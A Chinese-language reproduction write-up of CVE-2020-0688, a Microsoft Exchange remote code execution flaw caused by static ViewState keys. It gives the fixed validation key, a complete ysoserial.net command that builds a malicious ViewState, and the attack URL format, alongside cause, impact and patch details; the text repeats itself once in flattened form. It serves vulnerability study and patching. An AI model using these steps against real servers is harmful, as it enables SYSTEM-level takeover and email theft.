微软Exchange服务器远程代码执行漏洞复现分析[CVE-2020-0688]
字数 1763 2025-08-25 22:58:34

Microsoft Exchange服务器远程代码执行漏洞分析(CVE-2020-0688)

漏洞概述

CVE-2020-0688是Microsoft Exchange Server中的一个远程代码执行漏洞,影响所有受支持的Exchange Server版本。该漏洞由匿名研究人员报告,微软在2020年2月的补丁中修复了此问题。

漏洞原理

该漏洞源于Exchange Server在安装时未能正确创建唯一的加密密钥,导致所有Exchange服务器安装使用了相同的validationKeydecryptionKey。这些密钥存储在web.config文件中,用于为ViewState提供安全性。

ViewState是ASP.NET Web应用程序在客户端上以序列化格式存储在服务器端的数据,客户端通过"__VIEWSTATE"参数将此数据提供回服务器。

由于使用了静态密钥,经过身份验证的攻击者可以构造恶意的ViewState数据,诱使服务器反序列化这些数据,从而以SYSTEM权限执行任意.NET代码。

漏洞利用条件

  1. 攻击者需要拥有有效的Exchange服务器用户凭证(任何权限级别均可)
  2. 目标Exchange服务器未安装2020年2月安全更新

漏洞复现步骤

1. 收集必要信息

首先需要收集以下关键信息:

  1. 静态密钥(从web.config文件中获取):

    • validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
    • validationalg = SHA1
  2. 动态信息(通过登录会话获取):

    • __VIEWSTATEGENERATOR值(从页面源代码中获取)
    • ViewStateUserKey值(即ASP.NET_SessionId cookie值)

2. 获取动态信息的方法

  1. 访问/ecp/default.aspx页面并使用任意账户登录
  2. 刷新页面(F5)并使用开发者工具(F12):
    • 在"Network"选项卡中查看页面响应,获取__VIEWSTATEGENERATOR
    • 在"Headers"选项卡中查找ASP.NET_SessionId cookie值作为ViewStateUserKey

3. 生成恶意ViewState

使用ysoserial.net工具生成ViewState有效负载:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" 
--validationalg="SHA1" 
--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" 
--generator="B97B4E27" 
--viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" 
--isdebug 
--islegacy

4. 构造攻击URL

将生成的ViewState进行URL编码,并构造如下URL:

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

其中:

  • <generator>替换为实际的__VIEWSTATEGENERATOR
  • <ViewState>替换为URL编码后的ViewState有效负载

5. 执行攻击

将构造好的URL提交给Exchange服务器,虽然服务器会返回500错误,但攻击已成功执行。

漏洞验证

攻击成功后,可以检查目标服务器上是否创建了指定的文件(如示例中的C:\Vuln_Server.txt),并验证文件所有者是否为SYSTEM。

漏洞影响

成功利用此漏洞的攻击者可以:

  1. 以SYSTEM权限执行任意代码
  2. 完全控制目标Exchange服务器
  3. 窃取或伪造企业电子邮件通信

修复方案

微软通过以下方式修复了此漏洞:

  1. 更正了Microsoft Exchange在安装过程中创建密钥的方式
  2. 将Exchange静态安装密钥改为在安装时随机生成加密密钥

管理员应立即安装2020年2月及之后的安全更新。

补充说明

  1. 微软将此漏洞评为"Important"级别,但实际风险可能更高
  2. 在企业内部,几乎所有用户都可以向Exchange服务器进行身份验证
  3. 微软漏洞利用指数为1(30天内可能被广泛利用)

参考工具

  • ysoserial.net:用于生成反序列化payload的工具
    GitHub地址:https://github.com/pwntester/ysoserial.net

原文参考

https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys

Microsoft Exchange服务器远程代码执行漏洞分析(CVE-2020-0688) 漏洞概述 CVE-2020-0688是Microsoft Exchange Server中的一个远程代码执行漏洞,影响所有受支持的Exchange Server版本。该漏洞由匿名研究人员报告,微软在2020年2月的补丁中修复了此问题。 漏洞原理 该漏洞源于Exchange Server在安装时未能正确创建唯一的加密密钥,导致所有Exchange服务器安装使用了相同的 validationKey 和 decryptionKey 。这些密钥存储在web.config文件中,用于为ViewState提供安全性。 ViewState是ASP.NET Web应用程序在客户端上以序列化格式存储在服务器端的数据,客户端通过"__ VIEWSTATE"参数将此数据提供回服务器。 由于使用了静态密钥,经过身份验证的攻击者可以构造恶意的ViewState数据,诱使服务器反序列化这些数据,从而以SYSTEM权限执行任意.NET代码。 漏洞利用条件 攻击者需要拥有有效的Exchange服务器用户凭证(任何权限级别均可) 目标Exchange服务器未安装2020年2月安全更新 漏洞复现步骤 1. 收集必要信息 首先需要收集以下关键信息: 静态密钥 (从web.config文件中获取): validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF validationalg = SHA1 动态信息 (通过登录会话获取): __VIEWSTATEGENERATOR 值(从页面源代码中获取) ViewStateUserKey 值(即ASP.NET_ SessionId cookie值) 2. 获取动态信息的方法 访问 /ecp/default.aspx 页面并使用任意账户登录 刷新页面(F5)并使用开发者工具(F12): 在"Network"选项卡中查看页面响应,获取 __VIEWSTATEGENERATOR 值 在"Headers"选项卡中查找 ASP.NET_SessionId cookie值作为 ViewStateUserKey 3. 生成恶意ViewState 使用ysoserial.net工具生成ViewState有效负载: 4. 构造攻击URL 将生成的ViewState进行URL编码,并构造如下URL: 其中: <generator> 替换为实际的 __VIEWSTATEGENERATOR 值 <ViewState> 替换为URL编码后的ViewState有效负载 5. 执行攻击 将构造好的URL提交给Exchange服务器,虽然服务器会返回500错误,但攻击已成功执行。 漏洞验证 攻击成功后,可以检查目标服务器上是否创建了指定的文件(如示例中的 C:\Vuln_Server.txt ),并验证文件所有者是否为SYSTEM。 漏洞影响 成功利用此漏洞的攻击者可以: 以SYSTEM权限执行任意代码 完全控制目标Exchange服务器 窃取或伪造企业电子邮件通信 修复方案 微软通过以下方式修复了此漏洞: 更正了Microsoft Exchange在安装过程中创建密钥的方式 将Exchange静态安装密钥改为在安装时随机生成加密密钥 管理员应立即安装2020年2月及之后的安全更新。 补充说明 微软将此漏洞评为"Important"级别,但实际风险可能更高 在企业内部,几乎所有用户都可以向Exchange服务器进行身份验证 微软漏洞利用指数为1(30天内可能被广泛利用) 参考工具 ysoserial.net:用于生成反序列化payload的工具 GitHub地址:https://github.com/pwntester/ysoserial.net 原文参考 https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys